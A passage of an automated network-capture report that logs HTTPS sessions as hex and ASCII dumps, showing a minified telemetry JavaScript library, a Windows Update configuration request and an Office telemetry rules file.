*/!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-20 12:27:54 UTC	16384	IN	Data Raw: 22 2b 74 5d 29 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 Data Ascii: "+t])?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&
2024-11-20 12:27:54 UTC	16384	IN	Data Raw: 74 69 6f 6e 20 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 Data Ascii: tion gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,fu
2024-11-20 12:27:54 UTC	16384	IN	Data Raw: 29 2c 68 28 29 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f Data Ascii: ),h(),m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reaso
2024-11-20 12:27:54 UTC	16384	IN	Data Raw: 28 7b 4e 6f 72 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 Data Ascii: ({Normal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}ret
2024-11-20 12:27:54 UTC	16384	IN	Data Raw: 28 6f 2c 22 41 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 Data Ascii: (o,"Auto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=fu
2024-11-20 12:27:54 UTC	16384	IN	Data Raw: 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 Data Ascii: config.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._s
2024-11-20 12:27:54 UTC	16384	IN	Data Raw: 65 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 Data Ascii: e)return!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t
2024-11-20 12:27:54 UTC	16384	IN	Data Raw: 67 3d 22 57 65 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 Data Ascii: g="WebAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split"
2024-11-20 12:27:54 UTC	16384	IN	Data Raw: 61 28 65 5b 6d 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f Data Ascii: a(e[mv])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49812	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:09 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3dGkyd5ARhC66Bm&MD=gp69vOxd HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 12:28:10 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: e60f74d5-3eac-4d53-8e35-76d29ff9589c MS-RequestId: f98bd134-9884-426f-8cc0-7fe44d0a82bc MS-CV: eMko8GkIOkmzrXb/.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 12:28:09 GMT Connection: close Content-Length: 30005
2024-11-20 12:28:10 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-20 12:28:10 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.8	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:29 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:29 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:29 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122829Z-185f5d8b95cp7lkfhC1NYC7rpw0000000ab000000000b777 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:29 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 12:28:29 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-20 12:28:29 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-20 12:28:29 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-20 12:28:29 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-20 12:28:29 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-20 12:28:29 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
